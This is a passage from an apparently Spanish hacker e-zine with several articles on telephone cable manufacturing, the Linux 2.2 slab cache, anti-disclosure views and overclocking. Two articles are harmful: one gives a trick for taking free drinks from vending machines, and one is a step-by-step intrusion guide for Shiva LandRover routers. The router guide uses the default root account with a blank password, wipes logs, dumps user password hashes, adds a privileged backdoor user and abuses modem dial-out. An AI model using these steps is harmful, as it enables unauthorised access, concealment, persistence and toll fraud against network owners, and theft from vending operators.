final al conductor se realiza en una maquina extrusora, que además de trefilar
el hilo a un diámetro determinado, aísla los conductores con determinados
compuestos que básicamente son:
- Polietileno sólido.
- Polietileno celular.
- Foam.
- Foam Skin.
- PVC (poli cloruro de vinilo).
A estos compuestos se les añade un colorante del tipo Masterbach en un
porcentaje determinado para dar color al aislamiento.
Bueno pues ya tenemos una bobina de conductor aislada de determinado color.
Pasemos al siguiente proceso
Pareado.
Parear es torsionar dos conductores con un paso determinado. Entiendase por
paso, la cantidad de torsiones por metro. O sea que si una bobina pareada lleva
un paso 76 (por ejemplo) significara que los conductores se torsionan 76 veces
en una distancia de un metro.
También existen cables de cuadretes en los que en vez de torsionarse 2
conductores son 4.
Las bobinas de pareado que forman un cable dependiendo del color llevan todas
paso diferente para evitar un problema que veremos más adelante.
Por ejemplo, todas las bobinas Blanco-Azul llevan el mismo paso, pero es
diferente al de las que son Blanco-Naranja, o Amarillo-Gris.
En cuanto al pareado poco más que contar así que pasaremos al siguiente proceso.
Cableado.
Aquí la cosa empieza a complicarse.
Para ver la formación de un cable veremos primero un código de colores de
pares utilizado por telefónica. El nombre de este código es Event Count.
El código se compones de 10 colores básicos agrupados en 2 grupos:
Grupo 1:
- Blanco. (Bl)
- Rojo. (Ro)
- Negro. (Ne)
- Amarillo. (Am)
- Violeta. (Vi)
Grupo2:
- Azul. (Az)
- Naranja. (Na)
- Verde. (Ve)
- Marrón. (Ma)
- Gris. (Gr)
Combinando estos dos grupos obtenemos un total de 25 tipos de pares diferentes
Ya que un par no puede contener dos colores del mismo grupo salvo la excepción
de un par del que luego hablaremos.
Ósea:
Par 1: Bl-Az
2: Bl-Na
3: Bl-Ve
4: Bl-Ma
5: Bl-Gr
6: Ro-Az
7: Ro-Na
Así hasta el 25 que es Vi-Gr.
A estos 25 pares los llamaremos subunidad y cada 100 pares los llamaremos grupo.
La excepción de la que antes hablábamos es el par Bl-Ne, llamado Piloto. Este
par es utilizado por asistencia técnica para comunicarse con la central donde
esta conectado ese cable, ósea es un par de uso interno de telefónica y salvo
excepciones no hay abonados conectados a el.
Hay un piloto por grupo, ósea uno por cada 100 pares con lo cual el grupo
tiene realmente 101 pares.
Los cables pueden tener desde 1 par, hasta 2424 y 3636 pares (de mas pares no
los he visto).
Centrémonos en la fabricación de uno grande, un 2424 por ejemplo.
Cargamos una cableadota con 101 pares y los agrupamos de 25 en 25 en cuatro
subunidades, salvo la última que por contener el piloto tendrá 26.
Cada subunidad tendrá distribuidos los pares en capas concéntricas en una
formación de 3 en el centro 9 en la 2ª capa y 13 en la 3ª.
Amarramos esas subunidades con una ligadura de nylon utilizando el mismo código
de colores, ósea los primeros 25 con ligadura Bl-Az los 2º con Bl-Na así hasta
completas los 101 cuyos últimos 26 estarán con Bl-Ma.
Los siguientes de 101 estarán, el primer grupo con Bl-Gr, los segundos serán
Ro-Az, así hasta Ro-Ve, y así sucesivamente hasta completar los 606 pares.
De tal manera que obtendremos 6 grupos dispuestos en 4 subunidades de 25ª, que
para que se mantengan en su formación de 101 aplicaremos una ligadura de nylon
monocolor. Esta ligadura será en los primeros 606 pares de color blanco, ósea
que los primeros seis grupos tendrán ligadura blanca, del 607 al 1212 esta
ligadura será roja, del 1213 al 1818 será negra y del 1819 al 2424 amarilla.
De esta manera tendremos todos los pares diferenciados.
Ahora hay que formar el cable final con todos los grupos.
Lo cargamos en una cableadota de núcleos(grupos) en una distribución de 4 en la
1ª capa, 8 en la 2ª y 12 en la 3ª, aplicándole 2 cintas de poliéster de forma
helicoidal consiguiendo así un cable de 65 mm de diámetro aproximadamente
totalmente redondo y preparado para aplicarle la cubierta.
Pero ni todos los cables llevan núcleos (grupos) de 101, ni todos llevan
poliéster en la cableadora de núcleos.
En los cables inferiores a 1212 la formación de los núcleos es de 50 pares,
distribuidos los pares en subunidades de 8 y 9 pares de la siguiente forma.
Una de 8 en el centro de Bl-Az (suponemos que es el núcleo 1) otra de 8 y otra
de 9 también con Bl-AZ hasta completar los 25 en la 2ª capa y otras tres de
8,8,9 Bl-Na también en la segunda capa completando así los 50 pares en una
formación 1 en el centro 5 en la 2ª capa. El 2º núcleo será igual excepto por
las ligaduras que serán Bl-Ve y Bl-Ma y por que las dos ultimas subunidades
serán 9-9 teniendo la ultima el piloto (par Bl-Ne), logrando así una subunidad
de 51.
En la cableadora de núcleos tendremos 12 núcleos para un 606 y 18 para un 909.
En los cables menores de 606 volvemos a los núcleos de 25, saliendo estos
directamente a la cableadora de núcleos por lo que tendremos en formación 3-9,
12 núcleos para un 303, y 16 núcleos para un 404 en una formación 1-5-10.
Hay más formaciones en cables menores, todos estos cambios en la formación se
realizan para conseguir un cable lo mas redondo posible.
Los cables pueden salir de la habladora de núcleos con poliéster helicoidal o
con ligadura blanca de nylon para amarrarlos.
Generalmente los cables no rellenos suelen salir con poliéster, y los cables
rellenos de grasa (ya veremos lo que es en el apartado de cubiertas), siempre
salen con ligadura (obvio, si les ponemos poliéster a ver quien les inyecta
luego grasa).
Bien, ya tenemos el cable, ahora nos falta la cubierta exterior.
Cubierta.
Durante el proceso de cubierta procederemos a inyectar grasa si el cable es
relleno. Dicha grasa es un compuesto de vaselina hidrófuga que se inyecta al
cable para evitar que en caso de perforación de la cubierta el agua corra a
través del cable, se inyecta a una temperatura de fusión de la grasa que es de
85 grados aproximadamente y cuando enfría se queda una pasta semisólida
rellenando tolos intersticios entre los pares y núcleos del cable.
Si el cable no va relleno es muy posible que llegue ya a cubiertas con el
poliéster puesto, si no es así se le aplica uno longitudinal de más espesor
que el helicoidal y si es de grasa también se le pone una vez que sale del
inyector.
Seguidamente se le aplica una cinta de aluminio-poliéster longitudinal a la
cual se le aplica calor en los bordes para que selle, consiguiendo así un tubo.
Por ultimo se le extruye una capa de polietileno negro de alta densidad,
pasando por un canalón de agua para su enfriamiento y a la salida de ese
canalón se le marca los metros y la leyenda rebobinándolo en una bobina de
madera, para su posterior paso a calidad y después a logística, para el
forrado de la bobina y su embarque para cliente
También hay cables de doble cubierta que en vez de ser marcados pasan de nuevo
a otra extruder que les pones otra cinta de acero corrugado que también se
sella, y una segunda cubierta, esta segunda cubierta es ya marcada con los
metros y la leyenda
Hay muchos tipos de cables, con sus diferentes aislamientos formaciones y
cubiertas. Esto que hemos visto es un cable típico de telefónica, para ser
exactos un 26 EAP 2424.
Algunas consideraciones:
Los cables de pares se utilizan básicamente para la comunicación en fonía,
teniendo en cuenta que telefónica considera como aceptable el rango de
frecuencias entre 300 y 3.400 Hz, que es cercano al de la voz humana,
obteniendo de ese rango una relación calidad-costes aceptable.
Salvo excepciones a grandes empresas, organismos oficiales, o por que el
abonado así lo solicite (gastándose un pastón), la compañía no llegara nunca
al abonado con fibra óptica debido a su elevado coste. Así que siempre se esta
limitado por la capacidad del cable de cobre en trasmisión de datos.
En estos cables la tensión con el terminal en reposos es de -48 Volts, la
tensión.
Con el terminal descolgado o de conversación es de -24volts, y la tensión de
llamada es de 72 volts de alterna.
Espero que este documento os sirva para entender la estructura de los cables
que se utilizan normalmente en telecomunicaciones.
En próximos documentos veremos lo cables de fibra óptica y los sistemas de
conmutación y transmisión entre centrales.
Espero no haber sio mu pesao. xD
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
---/ 3 /--/ Cocacola Gartis!! /--/ bzero /-------------------------------------
-------------------------------------------------------------------------------
[Introduccion]
Existen por ahi unas maquinas en las que puedes sacar refrescos... bien, pues
tienen un fallo que esta en fase de correccion pero que todavia quedan cientos
de maquinas que son vulnerables =).
[Como distingirlas]
Para saber las maquinas que son vulnerables fijate en la forma de ranura por
donde se meten las monedas. Si son de las que tienen un espacio justo para
meter la moneda y una palanca para tirar hacia abajo, no te servira. Pero, por
el contrario, sin son de las tipicas maquinas que tienen una ranura en la que
metes la moneda y ya cae si funcionara.
[Tecnica]
Lo unico que tienes que hacer es buscar una correa de reloj bastante larga.
No se cuanto exactamente, si tienes un reloj de correa lo haces con ese sino
te compras una que tampoco vale una fortuna. Cojes la correa (tiene que ser
del tama¤o de la ranura) y la metes hasta el fondo. Ahora piensas el refresco
que quieres, pulsas el boton y... =P Ha funsionao! :D.
[Final]
Y esto es todo... no lo hagais en un lugar donde haya mucho movimiento
urbano. Un saludo como siempre a #freeminds & #hack (libres.irc-hispano.org)
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
---/ 4 /--/ Slab cache en linux 2.2.x /--/ Doing /-----------------------------
-------------------------------------------------------------------------------
La Slab cache en el kernel 2.2.17 (posiblemente en todos los 2.2.x)
-------------------------------------------------------------------
Nota: Toda esta informacion esta sacada de linux/mm/slab.c
La slab cache es un modelo usado en el kernel alocar y liberar memoria
dentro del kernel. Todas las rutinas de reserva de memoria internas hacen
uso de slabs caches.
Una slab cache (cache a secas de aqui en adelante) no es mas que una
estructura (typedef struct kmem_cache_s kmem_cache_t;) que contiene referencias
a una serie de slabs (losas o planchas), asi como varios flags y otros campos.
Una slab es un "cacho" de memoria, mayor que una pagina de memoria (4096 bytes
en i386), que se usa como memoria dinamica. Esta constituida por una
estructura de control (typedef struct kmem_slab_s kmem_slab_t;), que se situa
en la zona de memoria mas alta del slab. El resto del slab esta dividido en
zonas de memoria iguales, llamadas objetos. Cada objeto tiene asociado una
estructura (typedef struct kmem_bufctl_s kmem_bufctl_t;), que es la union de
3 punteros (por lo que un sizeof de esta estructura devolvera 4). Se podria
haber usado solo 1, pero como el valor de ese puntero depende el estado del
objeto al que hace referncia el kmem_bufctl_t se les han puesto nombres
distintos.
En las caches ON_SLAB un kmem_bufctl_t asociado a un objeto esta justo a
continuacion de él (por tanto, dentro del slab), mientras que en las OFF_SLAB
el kmem_bufctl_t se encuentra en otra zona de memoria.
Aqui os pongo un esquema (algo :P) grafico para dejar las cosas mas claras:
Una cache:
[ kmem_cache_t ]
[ c_firstp c_lastp ]
| |
| |
| |
V |
[ kmem_slab_t ] |
[ s_nextp ] |
^ | V
| \--------------------------------> [ kmem_slab_t ]
\ [ s_prevp ]
\--------------------------------------------------|
El puntero c_firstp apunta al primer slab de la cache, y c_lastp al ultimo
slab. En los slabs, el puntero s_nextp apunta al siguiente slab de la cache,
y s_prevp al anterior (si, como en una lista doblemente enlazada).
Una slab (IN_SLAB):
[ kmem_slab_t ]
[ s_mem s_freep ]
| |
| |
| |
V V
[ OBJETO #1 ][ kmem_bufctl_t ] [ OBJETO #2 ][ kmem_bufctl_t ]
El puntero s_mem apunta al inicio de la slab, y por tanto, al inicio del
primer objeto de la slab. s_freep apunta al kmem_bufctl_t del primero objeto
libre (que no se ha reservado, recordemos que esto es para obtener memoria
de forma dinamica).
El resto de los campos de la kmem_cache_t y kmem_slab_t son bastante
auto-explicativos; os pego las definiciones aqui:
(Nota: he quitado algunos campos de debug)
(Nota2: Los comentatios en español son mios :-> )
struct kmem_cache_s {
kmem_slab_t *c_freep; /* first slab with free objs */
unsigned long c_flags; /* constant flags */
unsigned long c_offset; /* Longitud de los datos de cada objeto almacenado */
unsigned long c_num; /* # of objs per slab */
unsigned long c_magic;
unsigned long c_inuse; /* kept at zero */
kmem_slab_t *c_firstp; /* first slab in chain */
kmem_slab_t *c_lastp; /* last slab in chain */
spinlock_t c_spinlock;
unsigned long c_growing; /* esto se pone a 1 cuando
se estan reservando nuevas slabs
en la cache *:
unsigned long c_dflags; /* dynamic flags */
size_t c_org_size;
unsigned long c_gfporder; /* order of pgs per slab (2^n) */
void (*c_ctor)(void *, kmem_cache_t *, unsigned long); /* constructor func */
void (*c_dtor)(void *, kmem_cache_t *, unsigned long); /* de-constructor func */
unsigned long c_align; /* alignment of objs */
size_t c_colour; /* cache colouring range */
size_t c_colour_next;/* cache colouring */
unsigned long c_failures;
const char *c_name;
struct kmem_cache_s *c_nextp;
kmem_cache_t *c_index_cachep;
};
typedef struct kmem_slab_s {
struct kmem_bufctl_s *s_freep; /* ptr to first inactive (libre/free) obj in slab */
struct kmem_bufctl_s *s_index; /* este campo se usa solo en caches OFF_SLAB */
unsigned long s_magic;
unsigned long s_inuse; /* num of objs active (ocupados) in slab */
struct kmem_slab_s *s_nextp;
struct kmem_slab_s *s_prevp;
void *s_mem; /* addr of first obj in slab */
unsigned long s_offset:SLAB_OFFSET_BITS,
s_dma:1;
} kmem_slab_t;
Las caches pueden ser creadas y liberadas (que novedad!), pero al ser
liberadas, su estrcutura de control no se libera, porque causaria muchos
problemas (es lo que pone un developer del kernel; a mi me huele a chapuza XD)
Las caches tambien se reservan dinamicamente, por lo tanto, necesitan de una
cache ya existente de la que cojer memoria, esta cache es llamada:
cache_cache (que original). Esta esta definida de forma estatica, y todas las
kmem_cache_t que se creen de forma dinamica son objetos en alguna slab de
esta cache "primaria".
Cuando el kernel se inicia, se reservan 13 caches mas, llamadas:
/* Names for the general caches. Not placed into the sizes struct for
* a good reason; the string ptr is not needed while searching in kmalloc(),
* and would 'get-in-the-way' in the h/w cache.
*/
static char *cache_sizes_name[] = {
#if PAGE_SIZE == 4096
"size-32",
#endif
"size-64",
"size-128",
"size-256",
"size-512",
"size-1024",
"size-2048",
"size-4096",
"size-8192",
"size-16384",
"size-32768",
"size-65536",
"size-131072"
};
Creo que esta claro en que se diferencian unas de otras :P (por si alguno
aun no se ha coscado recordare que el tamaño de los objetos que reservas con
una cache es __FIJO__, y por lo tanto el kernel crea caches de tamaño
esponencial para que cuando hagas un kmalloc puedes usar la cache del tamaño
inmediatamente superior al que pides, y asi hace un uso mas eficiente de la
memoria).
Hay una variable global definida asi:
typedef struct page mem_map_t;
mem_map_t *mem_map;
Este puntero despues de ser apuntado en el boot, se usa como un array de
struct page's, donde cada pagina de la memoria del kernel tiene una entrada
en dicho array.
Cuando creas una nueva cache (con kmem_cache_create()), no tiene ninguna
slab creada. Cuando alguien reserva memoria en esa cache, se piden paginas
al sistema, y se usan para almacenar la nueva slab que se va a crear en esa
cache. Una vez que tienes las paginas, y la slab creada, se usa la struct page
correspondiente a cada pagina de la slab localizada en mem_map, y se apunta
el campo next de la struct page a la cache de la que cuelga la slab creada,
y el campo prev a la estructura de control de la slab.
Y para que coño han hecho esto? Pues para que en kfree() se pueda ver con
facilidad a que cache y slab pertenece un puntero que se quiere liberar.
Es tan sencillo como sacar la pagina a la que pertenece el puntero, irse a
mem_map a ver la struct page correspondiente, y mirar a sus campos prev y
next.
En el fichero slab.c vienen mas info, a que esperais para leerla :)
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
---/ 5 /--/ Router de shiva /--/ fkt /-----------------------------------------
-------------------------------------------------------------------------------
+----------------------------+
+ Shiva LandRover Systems +
+ Por fkt <fkt@funfatal.org> +
+----------------------------+
En este documento trataré de explicar como aprovecharse de estos routers que
al 80% tienen la cuenta por defecto activada ya que el admin usa su propia
cuenta con privilegios.
El documento constará de 3 partes:
1.- Introducción
2.- ¿Qué pueden hacer los Shiva LandRover?
3.- La Linea de Comandos
Bien empezemos...
1.- Introducción:
Los sistemas Shiva son muy comunes encontrarlos cuando escaneas, casi seguro
que en tus logs de algún scan tengas unos pocos y quizás no les hayas presta-
do demasiada atención. Bien, lo primero es saber detectar que se trata de un
Shiva LandRover, para ello nos fijaremos en el prompt que te sale al entrar
que normalmente es algo parecido a @Userid: . Pues bien el fallo potencial
de seguridad de estos sistemas es que la cuenta por defecto la tienen activa-
da en su gran mayoría, ésta cuenta es login: root y password: <enter>
Alguna vez cuando conectamos a un Shiva puede salir...
"Starting Radius Authentification...."
No presteis demasiada atención a ésto por ahora ya que es solo un intento de
hacer que el sistema tenga un control seguro, pero en la mayoría de los casos
está mal configurado.
Estos sistemas tan interesantes cuentan con un loggeador así que olvidaros de
entrar por fuerza bruta. Aunque si entramos dentro con un simple "clear log"
se borran todas las entradas.
2.- ¿Qué pueden hacer los Shiva LandRover?
Bien, los Shiva tienen unos servicios bastante interesantes a nuestra dispo-
sición, como son:
* PPP (Point-to-Point Protocol): Este es el protocolo que tanto nos gusta,
los Shiva normalmente suelen tener un servidor DNS interno asi que si tienes
suerte puede que esté conectado a internet. Ya veremos más adelante que es lo
que se puede hacer si tiene conexion a internet aparte de conectarnos gratis
claro ;).
* Modem DIALOUT: En la mayoría de los casos, el sistema está configurado para
permitir llamadas al exterior, es lo que se llama DIALOUT, esto lo puedes uti
lizar para llamar a BBS, hacer desvios, escanear y todo lo que se te ocurra.
Por ejemplo si configuras una conexión PPP incluso puedes hacer otra llamada
externa a una BBS mientras estás conectado a internet a traves del Shiva.
Otras utilidades como telnet, ping, traceroute, etc... son las que te ayuda-
rán a saber si el Shiva está o no conectado a internet.
3.- La Linea de Comandos:
Cuando estemos dentro nos saldrá algo como esto...
Shiva Version 4.5.3 97/02/07
Shiva#>
Para obtener una lista de los comandos disponibles ponemos "help" o "?":
alert Send text alert to all dial-in users
busy-out line <number> Busy-out serial line modem
clear <keyword> Reset part of the system
comment Enter a comment into the log
configure Enter a configuration session
connect <port pool> Connect to a shared serial port
crashdump Write crashblock to log
disable Disable privileges
help List of available commands
initialize <keyword> Reinitialize part of the system
lan-to-lan <keyword> Manage LAN-to-LAN connections
passwd Change password
ping <IP host> Send ICMP echo to IP host
ppp Start a PPP session
quit Quit from shell
reboot Schedule reboot
show <keyword> Information commands, type "show ?" for list
slip Start a SLIP session
telnet <IP host> Start a Telnet session
testline Test a line
Lo primero que haremos es ver si estamos solos o por el contrario hay alguien
más conectado, para ello hacemos un "show users":
Shiva#> show users <enter>
Line User Activity Idle/Limit Up/Limit
1 jsmith PPP 0/ 10 0/ None
2 root shell 0/ 10 0/ None
Total users: 2
Aquí vemos que nosotros estamos en la linea 2 y que hay un usuario PPP en la
linea 1, normalmente los usuarios no están configurados para conectar remota
mente por PPP, asi que el usuario jsmith lo más seguro es que esté en una ter
minal de la LAN (esto se podría saber mirando los permisos de ese usuario).
Ahora vamos a saber como de grande es el sistema:
Shiva#> show lines <enter>
Async Lines:
Line State Rate/P/Stop/ RA|DCD|DSR|DTR|RTS|CTS|Fr errs| Overruns|PErrs
1 IDLE 57600/N/ 1/ |OFF|ON |on |on |ON | 0| 0| 0
2 CHAR 57600/N/ 1/ |ON |ON |on |on |ON | 2| 0| 0
3 IDLE 57600/N/ 1/ |OFF|ON |on |on |ON | 0| 0| 0
4 IDLE 57600/N/ 1/ |OFF|ON |on |on |ON | 0| 0| 0
5 IDLE 57600/N/ 1/ |OFF|OFF|on |on |OFF| 0| 0| 0
6 IDLE 115200/N/ 1/ |OFF|ON |on |on |ON | 0| 0| 0
7 IDLE 57600/N/ 1/ |OFF|ON |on |on |ON | 0| 0| 0
8 IDLE 115200/N/ 1/ |OFF|ON |on |on |ON | 0| 0| 0
Aquí vemos la cantidad de lineas del sistema, como vemos hay 8, este es el
tamaño común en la mayoría de los sistemas Shiva. También en esta lista pode-
mos ver las características de cada linea asi como su estado.
Ahora vamos a ver cuantas lineas de serie hay para saber el tamaño de la red:
Shiva#> show arp <enter>
Protocol Address Age Hardware Addr Type Interface
Internet 208.xxx.87.6 4m x0-x0-B0-2x-xx-78 ARPA Ethernet:IP
Internet 208.xxx.87.4 4m AA-xx-x4-00-0C-04 ARPA Ethernet:IP
Internet 208.xxx.87.5 4m xx-00-04-0x-xD-x4 ARPA Ethernet:IP
Internet 208.xxx.86.4 10m AA-x0-04-xx-0C-04 ARPA Ethernet:IP
Internet 208.xxx.86.40 0m AA-00-xx-00-x1-04 ARPA Ethernet:IP
Internet 208.xxx.86.147 4m 00-80-5x-31-xx-Ax ARPA Ethernet:IP
Internet 208.xxx.86.145 4m 00-xx-5x-FE-C9-x8 ARPA Ethernet:IP
Internet 208.xxx.86.200 0m 00-x0-xx-xF-21-C8 ARPA Ethernet:IP
Internet 208.xxx.86.51 4m xx-x0-B0-01-36-3x ARPA Ethernet:IP
Aquí vemos las máquinas de la red con su IP y su correspondiente dirección
MAC.
Bueno hemos comentado antes que el comando clear nos será de bastante utili-
dad ya que poniendo "clear log" borrará todos los logs incluso los logins fa-
llidos. Otro comando que nos servirá de mucho será configure, con el entramos
en una sesión de configuración donde podremos añadir un usuario con los permi
sos q queramos, pero antes de hacer esto vamos a ver la configuración de los
otros usuarios por si acaso substituyeras una cuenta ya existente:
Shiva#> show security <enter>
[UserOptions]
PWAttempts=0
ARARoamingDelimiter=@
ExpireDays=30
GraceLogins=6
[Users]
admin=/di/do/rt/pw/sh/pwd=hH8FU4gBxJNMMRQ0yhj5ILUbaS/ml=3/fail=1/time=425
jsmith=/di/pw/pwd=.b9BJFBhuA1vuqFa9s8KBlxmngZ/ml=2/time=897646052
mjones=/di/pw/pwd=kRaOhlyT7CKMBldLVBVbektbCE/ml=2/fail=5/time=897646052
user911=/di/pw/pwd=7Xkq8TOwB4juRI51OHkDVVos8S/ml=2/time=910919159
another=/di/pw/pwd=YhzD6KBUB7Lh2iKKKSWxuR0gx7S/ml=2/fail=7/time=90767094|9
jadmams=/di/pw/pwd=ET0OhPyT7CyMBldLLKVbektbCE/ml=2/time=902262821
msmith=/di/pw/pwd=sDV1Jxo8QJncIRcl9eoVO6SKBE/ml=2/time=897646052
dsmith=/di/pw/pwd=pv8OhPyT45CyMBldLSKVbektbCE/ml=2/time=897646052
Como vemos nos muestra las opciones de los usuarios sus privilegios passwords
y demás que hay en el sistema. Como ves el admin tiene su propia cuenta. Los
usuarios tienen cuentas que permiten conexiones desde terminales, pero no re-
motas. Los passwords salen encriptados en 3DES (Triple DES). Los permisos del
usuario vienen dados despues del login como admin=/di/do/rt/pw/sh que mas ade
lante voy a explicar que es y para que sirve cada una.
Bueno ya estamos preparados para hacernos nuestra cuenta, asi que entramos en
una sesión de configuración:
Shiva#> config <enter>
Enter configuration file lines. Edit using:
^X, ^U clear line
^H, DEL delete one character
^W delete one word
^R retype line
Start by entering section header in square brackets []
Finish by entering ^D or ^Z on a new line.
config>
Como vemos nos dice que empezemos poniendo la cabecera de la sección entre
corchetes, como vamos a crear un usurario pondremo [Users] y a continuación
nuestro usuario:
config> [Users]
config> usuario=di/do/sh/tp/pw
config> <Cntrl+D>
Review configuration changes [y/n]? y
New configuration parameters:
[users]
usuario=/di/do/sh/tp/pw
Modify the existing configuration [y/n]? y
You may need to reboot for all changed parameters to take effect.
Como vemos hemos puesto la cabecera y despues nuestro usuario con sus privile
gios, a continuación pulsamos Control+D y nos dice que si queremos guardar
los cambios, le decimos que sí, y ya tenemos nuestro nuevo user listo con el
que podremos establecer conexiones PPP, etc...
Al principio tu cuenta no tendrá password, asi que cuando hagas login por pri
mera vez deberás ponerte uno, sino tu pass ser <enter>.
El modificador /sh significa que puedes conectar a la shell remotamente, /pw
que puedes cambiarte tu propio pass, si quieres ponerte los privilegios de
root ponte también /rt. Ahora reconectamos con nuestra cuenta...
Una de las características de los Shiva es que puedes controlar remotamente
una serie de modems del sistema y en la mayoría de los casos establecer
DIALOUT. Nota: No se puede hacer uploads usando Zmodem o protocolos similares
además tu puedes bajar cosas, pero estate preparado para unos cuantos errores
CRC en la transmisión.
Para conectar a un modem utilizaremos el comando connect:
Shiva#> connect all_ports <enter>
Connecting to Serial2 at 115200 BPS.
Escape character is CTRL-^(30).
Type the escape character followed by C to get back,
or followed by ? to see other options.
Bien, pues ya estamos en linea! Para inicializar el modem pondremos ATZ y pa-
ra llamar a algún número de telefono basta con poner ATDTxxxxxxxx donde las x
son los dígitos del número de teléfono, para salir del outdial pulsaremos
Control+C.
Otros comandos interesantes del Shiva son:
cping <IP/Host> (Envía continúos echos ICMP a un IP/Host)
crashdump (Escribe un error en el log)
detect (Detecta la configuración de un interfaz)
disable (Desactiva los privilegios de root)
dmc <comando> (Información sobre los comandos, escribe "dmc ?" para una lista)
help (Listado de comandos permitidos)
history (Listado de los comandos anteriormente ejecutados)
initialize <comando> (Reinicia parte del sistema)
lan-to-lan <comando> (Conexión LAN-con-LAN)
ping <IP/Host> (envia echo ICMP a un IP/Host)
ppp (Establece una conexión PPP)
quit (Sale de la shell)
reboot (Restea el sistema completo)
route <argumento> (Modifica la tabla de rutado)
rlogin <IP/Host> (Establece una sesión rlogin)
show <comando> (Información sobre comandos, escribe "show ?" para una lista)
Nota: "show config" te mostrar todas las configuraciones del sistema, inclu-
yendo servidores DNS, información de seguridad, tabla de rutado, etc...
Bueno hasta aquí hemos llegado creo que ya teneis bastante para aventuraros
con estos divertidos routers ;).
Un Saludo
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
--/ 6 /--/ Antidisclosure (anti.security.is) /--/ /-----------------------
-------------------------------------------------------------------------------
Nos ponemos serios. Algunos estamos realmente hartos de ver continuamente
titulares en los periodicos "Hacker arrestado tras..." o ver en topics
de canales de irc "http://www.iomolo.com hackeada por mendolo". Yo
personalmente estoy hasta los mismisimos cojones de esta gente. Gente que
se dedica a ir de guais modificando paginas webs de empresas (que a su vez
poseen un administrador de sistemas incompetente, cosa que tambien me pone
de los nervios) para darselas de superhacker, y para colmo la premsa, siempre
morbosa, les sigue el puto rollo. ¿Y que podemos hacer nosotros? ¿Que puede
hacer la gente que realmente se lo curra? Gente que descubre vulnerabilidades,
que programa herramientas... ¿Nada? El texto que viene a continuacion ha sido
sacado de la web de un movimiento antidisclusire (http://anti.security.is), y
es una traduccion de texto original (en ingles) realizada por Doing. En el
se explica muy bien en que consiste el movimiento antidisclusire y que
se pretende con el. Desde aqui, queremos mandar todo nuestro apoyo a esta
gente, que esperemos terminen con la kiddie-plaga que se esta producciendo.
Y a ver si, la gente se da cuenta que no basta con hacer...
$ gcc xpl.c
$ ./a.out
# echo "soy hax0r" > index.html
Veamos dicho texto...
El proposito de este movimiento es asentar una nueva politica de
anti-divulgacion en las comunidades de seguridad de redes y
ordenadores. La finalidad no consiste en impedir la divulgacion de
todo el material relaccionado con la seguridad, en cambio, pretende
parar la divulgacion de todos los exploits y vulnerabilidades
desconocidas o no-publicas. En esencia, esto pararia la publicacion de
todos los materiales privados que permiten a los script kiddies
comprometer sistemas usando metodos desconocidos.
El movimiento open-source ha sido una herramienta de valor
incalculable en el mundo de los ordenadores, y todos estamos en deuda
con el. El Open-source es un concepto maravilloso que deberia existir
siempre, porque el software educativo, cientifico, y el destinado al
usurio deberia ser libre y disponible para todo el mundo.
Los exploits, sin embargo, no encajan en esta categoria. Son como
municiones, que pasan desde algoritmos criptograficos hasta pistolas
de mano o misiles, y no deberian ser distribuidos sin el control de
las restricciones de exportacion, los exploits no deberian ser
liberados a un publico de varios millones de usuarios en internet. Un
holocausto digital ocurre cada vez que un exploit aparece en bugtraq,
y los kids de todo el mundo se lo bajan y atacan a administradores de
sistemas que no estan preparados. Francamente, la integridad de los
sistemas mundiales seria mucho mayor cuando los exploits fueran
mantenidos privados, y no publicados.
Un error de concepcion muy comun es que si los grupos o individuos
mantienen sus exploits y secretos de seguridad para ellos mismos,
ellos llegarian a ser los dominadores de la "escena ilegal", pues los
incontables sistemas inseguros estarian bajo su control. Nada mas
lejos de la verdad. Los foros para el intercambio de informacion, como
Bugtraq, Packetstorm, www.hack.co.za, y vuln-dev han hecho mucho mas
para dañar el underground y la red que para ayudarlos.
Cuantos visitantes ocasionales de estos sitios y listas de seguridad
no entienden que algunos de los grupos mas prominentes no publicen sus
hallazgos inmediatamente, pero solo como ultimo recurso en el caso de
que su codigo sea copiado o llegue a ser obsoleto. Esta es la razon
por la cual las fechas en las cabeceras de los ficheros a menudo son
meses o incluso años mas antiguas que las fechas de publicacion.
Otra conclusion equivocada es que si estos grupos no han publicado
nada en variois meses, es que debe de ser porque no han encontrado
nada nuevo. El lector normal debe estar enterado de esto.
No estamos intentando evitar el desarollo de exploits o el auditado de
codigo fuente. Estamos intentando simplemente evitar que los
resultados de estos esfuerzos salgan a la luz. Por favor, unete a
nosotros si te gustaria ver parada la comercializacion y el abuso
general de la informacion sobre seguridad.
Gracias.
Si bien en 7a69 compartimos esta postura, es solo en parte, pues la
publicacion de exploits puede ser MUY ilustrativa si se hace un buen uso de
ellos (cosa que no pasa en la mayoria de los casos) la mejor solucion a esto,
creo yo es publicar exploits que no funcionen, pero en los que leiendo el
codigo pueda llegar a entenderse la base del exploit.
NOTA: Los exploits y DoS, publicados en un futuro por parte de 7a69 no
funcionaran, asi que no os molesteis a probarlos y tratad de entenderlos
para poder corregirlos. Alomejor asi, hasta aprendeis algo :-)
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
--/ 7 /--/ Introduccion al overclocking /--/ IRreick /-------------------------
-------------------------------------------------------------------------------
INTRODUCCIÓN AL OVERCLOCKING by ireick
----------------------------
--INTRODUCCIÓN--
Bueno antes de empezar decir que el propósito de este artículo es dar una
introducción al overclocking, iniciar al lector en el tema mediante algo
de teoria sobre este y un ejemplo real (con foticos y to xD). Para más
información sobre este tema simplemente busca en la Red, el nivel de
información disponible sobre este tema es considerable y no tendras problema
en adquirir, con algo de tiempo, una base solida.
----------------------------
--¿QUÉ ES EL OVERCLOCKING?--
----------------------------
Bueno vamos a ver si mas o menos entre todos conseguimos entender qué
significa esa palabreja :P. Yo diría que el overclocking es la técnica
mediante la cual conseguimos que algun componente de nuestro ordenador,
forzándolo, aumente su rendimiento.
El overclocking es posible ya que el fabricante crea un modelo de micro y
despues se somete la producción a unas rigurosas pruebas de funcionamiento y
cuando un procesador no pasa la prueba para una velocidad pues se pasa a
probarlo para la velocidad anterior con lo cuál tenemos un margen a la hora
de forzar el micro, que a veces será mayor y a veces será menos (si si tb es
importante tener algo de suerte con el procesador que nos ha tocado :=P)
Continuar esta explicación diciendo que está practica como todo tiene sus
riesgos y el overclocking puede acortar la vida de tu ordenador, eso si, no a
corto plazo, con lo que el overclocking, es a mi parecer una práctica más que
aconsejable xD
Así pues, es cuestión de tener cuidado, hacer las cosas poco a poco y,
sobretodo, controlando la temperatura, ya que esta además de fundir los chips,
hace que nuestro ordenador se vuelva inestable ademas de influir en la
